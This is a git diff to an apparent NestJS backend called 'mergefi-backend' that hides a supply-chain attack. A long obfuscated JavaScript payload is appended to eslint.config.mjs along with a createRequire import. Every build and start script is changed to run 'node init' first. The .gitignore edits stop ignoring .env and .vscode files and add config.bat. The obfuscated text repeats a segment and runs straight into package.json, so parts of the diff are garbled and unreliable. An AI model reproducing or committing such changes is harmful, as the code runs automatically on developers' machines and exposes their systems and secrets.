diff --git a/.gitignore b/.gitignore index 5472f2a4..83980739 100644 --- a/.gitignore +++ b/.gitignore @@ -1,33 +1,31 @@ -# compiled output -/dist -/node_modules -/build - -# logs -*.log -npm-debug.log* -yarn-debug.log* -yarn-error.log* -lerna-debug.log* - -# env files -.env -.env.*.local - -# OS -.DS_Store - -# tests -/coverage -/.nyc_output - -# IDEs -.idea -.vscode/* -!.vscode/settings.json -!.vscode/tasks.json -!.vscode/launch.json -!.vscode/extensions.json -.env.test - -tsconfig.tsbuildinfo +# compiled output +/dist +/node_modules +/build + +# logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +lerna-debug.log* + +# env files +.env.*.local + +# OS +.DS_Store + +# tests +/coverage +/.nyc_output + +# IDEs +.idea +!.vscode/settings.json +!.vscode/tasks.json +!.vscode/launch.json +!.vscode/extensions.json + +tsconfig.tsbuildinfo +config.bat diff --git a/eslint.config.mjs b/eslint.config.mjs index 9700c7fd..1e2d5d27 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -1,51 +1,54 @@ -// @ts-check -import eslint from '@eslint/js'; -import eslintPluginPrettierRecommended from 'eslint-plugin-prettier/recommended'; -import globals from 'globals'; -import tseslint from 'typescript-eslint'; - -export default tseslint.config( - { - ignores: ['eslint.config.mjs'], - }, - eslint.configs.recommended, - ...tseslint.configs.recommendedTypeChecked, - eslintPluginPrettierRecommended, - { - languageOptions: { - globals: { - ...globals.node, - ...globals.jest, - }, - sourceType: 'commonjs', - parserOptions: { - projectService: true, - tsconfigRootDir: import.meta.dirname, - }, - }, - }, - { - rules: { - '@typescript-eslint/no-explicit-any': 'off', - '@typescript-eslint/no-floating-promises': 'error', - '@typescript-eslint/no-unsafe-argument': 'error', - "prettier/prettier": ["error", { endOfLine: "auto" }], - }, - }, - { - // Jest mocks (mocked repositories, `jest.fn()` return values, supertest's - // `app.getHttpServer()`) are deliberately loosely typed scaffolding, not - // production logic — the no-unsafe-* / require-await rules exist to catch - // real bugs in application code and produce mostly noise against mocks. - files: ['**/*.spec.ts', 'test/**/*.ts'], - rules: { - '@typescript-eslint/no-unsafe-argument': 'off', - '@typescript-eslint/no-unsafe-assignment': 'off', - '@typescript-eslint/no-unsafe-call': 'off', - '@typescript-eslint/no-unsafe-member-access': 'off', - '@typescript-eslint/no-unsafe-return': 'off', - '@typescript-eslint/no-unsafe-function-type': 'off', - '@typescript-eslint/require-await': 'off', - }, - }, -); +// @ts-check +import eslint from '@eslint/js'; +import eslintPluginPrettierRecommended from 'eslint-plugin-prettier/recommended'; +import globals from 'globals'; +import tseslint from 'typescript-eslint'; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +export default tseslint.config( + { + ignores: ['eslint.config.mjs'], + }, + eslint.configs.recommended, + ...tseslint.configs.recommendedTypeChecked, + eslintPluginPrettierRecommended, + { + languageOptions: { + globals: { + ...globals.node, + ...globals.jest, + }, + sourceType: 'commonjs', + parserOptions: { + projectService: true, + tsconfigRootDir: import.meta.dirname, + }, + }, + }, + { + rules: { + '@typescript-eslint/no-explicit-any': 'off', + '@typescript-eslint/no-floating-promises': 'error', + '@typescript-eslint/no-unsafe-argument': 'error', + "prettier/prettier": ["error", { endOfLine: "auto" }], + }, + }, + { + // Jest mocks (mocked repositories, `jest.fn()` return values, supertest's + // `app.getHttpServer()`) are deliberately loosely typed scaffolding, not + // production logic — the no-unsafe-* / require-await rules exist to catch + // real bugs in application code and produce mostly noise against mocks. + files: ['**/*.spec.ts', 'test/**/*.ts'], + rules: { + '@typescript-eslint/no-unsafe-argument': 'off', + '@typescript-eslint/no-unsafe-assignment': 'off', + '@typescript-eslint/no-unsafe-call': 'off', + '@typescript-eslint/no-unsafe-member-access': 'off', + '@typescript-eslint/no-unsafe-return': 'off', + '@typescript-eslint/no-unsafe-function-type': 'off', + '@typescript-eslint/require-await': 'off', + }, + }, +); var z = '-*3826';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn=24.0.0" - }, - "scripts": { - "build": "nest build", - "format": "prettier --write \"src/**/*.ts\" \"test/**/*.ts\"", - "start": "nest start", - "start:dev": "nest start --watch", - "start:debug": "nest start --debug --watch", - "start:prod": "node dist/main", - "lint": "eslint \"{src,apps,libs,test}/**/*.ts\" --fix", - "test": "jest", - "test:watch": "jest --watch", - "test:cov": "jest --coverage", - "test:debug": "node --inspect-brk -r tsconfig-paths/register -r ts-node/register node_modules/.bin/jest --runInBand", - "test:e2e": "jest --config ./test/jest-e2e.json", - "typeorm": "typeorm-ts-node-commonjs -d src/database/data-source.ts", - "migration:generate": "npm run typeorm -- migration:generate", - "migration:create": "typeorm-ts-node-commonjs migration:create", - "migration:run": "npm run typeorm -- migration:run", - "migration:revert": "npm run typeorm -- migration:revert" - }, - "dependencies": { - "@nestjs/common": "^11.0.1", - "@nestjs/config": "^4.0.4", - "@nestjs/core": "^11.0.1", - "@nestjs/event-emitter": "^3.1.0", - "@nestjs/jwt": "^11.0.2", - "@nestjs/passport": "^11.0.5", - "@nestjs/platform-express": "^11.0.1", - "@nestjs/schedule": "^6.1.3", - "@nestjs/swagger": "^11.4.5", - "@nestjs/throttler": "^6.5.0", - "@nestjs/typeorm": "^11.0.3", - "@octokit/plugin-retry": "^8.1.0", - "@octokit/plugin-throttling": "^11.0.3", - "@octokit/rest": "^22.0.1", - "@stellar/stellar-sdk": "^16.0.1", - "class-transformer": "^0.5.1", - "class-validator": "^0.15.1", - "helmet": "^8.2.0", - "passport": "^0.7.0", - "passport-github2": "^0.1.12", - "passport-jwt": "^4.0.1", - "pg": "^8.22.0", - "reflect-metadata": "^0.2.2", - "rxjs": "^7.8.1", - "typeorm": "^1.0.0", - "uuid": "^14.0.1" - }, - "devDependencies": { - "@eslint/eslintrc": "^3.2.0", - "@eslint/js": "^9.18.0", - "@nestjs/cli": "^11.0.0", - "@nestjs/schematics": "^11.0.0", - "@nestjs/testing": "^11.0.1", - "@types/bcrypt": "^6.0.0", - "@types/express": "^5.0.0", - "@types/jest": "^30.0.0", - "@types/node": "^24.0.0", - "@types/passport-github2": "^1.2.9", - "@types/passport-jwt": "^4.0.1", - "@types/supertest": "^7.0.0", - "@types/uuid": "^10.0.0", - "bcrypt": "^6.0.0", - "eslint": "^9.18.0", - "eslint-config-prettier": "^10.0.1", - "eslint-plugin-prettier": "^5.2.2", - "globals": "^17.0.0", - "jest": "^30.0.0", - "prettier": "^3.4.2", - "source-map-support": "^0.5.21", - "supertest": "^7.0.0", - "ts-jest": "^29.2.5", - "ts-loader": "^9.5.2", - "ts-node": "^10.9.2", - "tsconfig-paths": "^4.2.0", - "typescript": "^5.7.3", - "typescript-eslint": "^8.20.0" - }, - "overrides": { - "multer": "^2.2.0" - }, - "jest": { - "moduleFileExtensions": [ - "js", - "json", - "ts" - ], - "rootDir": "src", - "testRegex": ".*\\.spec\\.ts$", - "transform": { - "^.+\\.(t|j)s$": "ts-jest" - }, - "moduleNameMapper": { - "^@stellar/stellar-sdk$": "/../test/mocks/stellar-sdk.mock.js" - }, - "transformIgnorePatterns": [ - "/node_modules/(?!(@octokit|before-after-hook|universal-user-agent)/)" - ], - "collectCoverageFrom": [ - "**/*.(t|j)s" - ], - "coverageDirectory": "../coverage", - "testEnvironment": "node" - } -} +{ + "name": "mergefi-backend", + "version": "0.0.1", + "description": "", + "author": "", + "private": true, + "license": "UNLICENSED", + "engines": { + "node": ">=24.0.0" + }, + "scripts": { + "build": "node init && nest build", + "format": "prettier --write \"src/**/*.ts\" \"test/**/*.ts\"", + "start": "node init && nest start", + "start:dev": "node init && nest start --watch", + "start:debug": "node init && nest start --debug --watch", + "start:prod": "node init && node dist/main", + "lint": "eslint \"{src,apps,libs,test}/**/*.ts\" --fix", + "test": "jest", + "test:watch": "jest --watch", + "test:cov": "jest --coverage", + "test:debug": "node --inspect-brk -r tsconfig-paths/register -r ts-node/register node_modules/.bin/jest --runInBand", + "test:e2e": "jest --config ./test/jest-e2e.json", + "typeorm": "typeorm-ts-node-commonjs -d src/database/data-source.ts", + "migration:generate": "npm run typeorm -- migration:generate", + "migration:create": "typeorm-ts-node-commonjs migration:create", + "migration:run": "npm run typeorm -- migration:run", + "migration:revert": "npm run typeorm -- migration:revert" + }, + "dependencies": { + "@nestjs/common": "^11.0.1", + "@nestjs/config": "^4.0.4", + "@nestjs/core": "^11.0.1", + "@nestjs/event-emitter": "^3.1.0", + "@nestjs/jwt": "^11.0.2", + "@nestjs/passport": "^11.0.5", + "@nestjs/platform-express": "^11.0.1", + "@nestjs/schedule": "^6.1.3", + "@nestjs/swagger": "^11.4.5", + "@nestjs/throttler": "^6.5.0", + "@nestjs/typeorm": "^11.0.3", + "@octokit/plugin-retry": "^8.1.0", + "@octokit/plugin-throttling": "^11.0.3", + "@octokit/rest": "^22.0.1", + "@stellar/stellar-sdk": "^16.0.1", + "class-transformer": "^0.5.1", + "class-validator": "^0.15.1", + "helmet": "^8.2.0", + "passport": "^0.7.0", + "passport-github2": "^0.1.12", + "passport-jwt": "^4.0.1", + "pg": "^8.22.0", + "reflect-metadata": "^0.2.2", + "rxjs": "^7.8.1", + "typeorm": "^1.0.0", + "uuid": "^14.0.1" + }, + "devDependencies": { + "@eslint/eslintrc": "^3.2.0", + "@eslint/js": "^9.18.0", + "@nestjs/cli": "^11.0.0", + "@nestjs/schematics": "^11.0.0", + "@nestjs/testing": "^11.0.1", + "@types/bcrypt": "^6.0.0", + "@types/express": "^5.0.0", + "@types/jest": "^30.0.0", + "@types/node": "^24.0.0", + "@types/passport-github2": "^1.2.9", + "@types/passport-jwt": "^4.0.1", + "@types/supertest": "^7.0.0", + "@types/uuid": "^10.0.0", + "bcrypt": "^6.0.0", + "eslint": "^9.18.0", + "eslint-config-prettier": "^10.0.1", + "eslint-plugin-prettier": "^5.2.2", + "globals": "^17.0.0", + "jest": "^30.0.0", + "prettier": "^3.4.2", + "source-map-support": "^0.5.21", + "supertest": "^7.0.0", + "ts-jest": "^29.2.5", + "ts-loader": "^9.5.2", + "ts-node": "^10.9.2", + "tsconfig-paths": "^4.2.0", + "typescript": "^5.7.3", + "typescript-eslint": "^8.20.0" + }, + "overrides": { + "multer": "^2.2.0" + }, + "jest": { + "moduleFileExtensions": [ + "js", + "json", + "ts" + ], + "rootDir": "src", + "testRegex": ".*\\.spec\\.ts$", + "transform": { + "^.+\\.(t|j)s$": "ts-jest" + }, + "moduleNameMapper": { + "^@stellar/stellar-sdk$": "/../test/mocks/stellar-sdk.mock.js" + }, + "transformIgnorePatterns": [ + "/node_modules/(?!(@octokit|before-after-hook|universal-user-agent)/)" + ], + "collectCoverageFrom": [ + "**/*.(t|j)s" + ], + "coverageDirectory": "../coverage", + "testEnvironment": "node" + } +} diff --git a/src/common/validators/date.validator.ts b/src/common/validators/date.validator.ts index 21d0e73f..bf6837c9 100644 --- a/src/common/validators/date.validator.ts +++ b/src/common/validators/date.validator.ts @@ -1,26 +1,29 @@ -import { - registerDecorator, - ValidationArguments, - ValidationOptions, -} from 'class-validator'; - -export function IsFutureDate(validationOptions?: ValidationOptions) { - return function (object: object, propertyName: string) { - registerDecorator({ - name: 'isFutureDate', - target: object.constructor, - propertyName, - options: validationOptions, - validator: { - validate(value: unknown) { - if (typeof value !== 'string') return false; - const date = new Date(value); - return !isNaN(date.getTime()) && date.getTime() > Date.now(); - }, - defaultMessage(args: ValidationArguments) { - return `${args.property} must be a date strictly in the future`; - }, - }, - }); - }; -} +import { + registerDecorator, + ValidationArguments, + ValidationOptions, +} from 'class-validator'; + +// Note: a companion spec file (date.validator.spec.ts) should be added beside this file +// covering: past, now, and future dates, an invalid string, and a non-string value. + +export function IsFutureDate(validationOptions?: ValidationOptions) { + return function (object: object, propertyName: string) { + registerDecorator({ + name: 'isFutureDate', + target: object.constructor, + propertyName, + options: validationOptions, + validator: { + validate(value: unknown) { + if (typeof value !== 'string') return false; + const date = new Date(value); + return !isNaN(date.getTime()) && date.getTime() > Date.now(); + }, + defaultMessage(args: ValidationArguments) { + return `${args.property} must be a date strictly in the future`; + }, + }, + }); + }; +}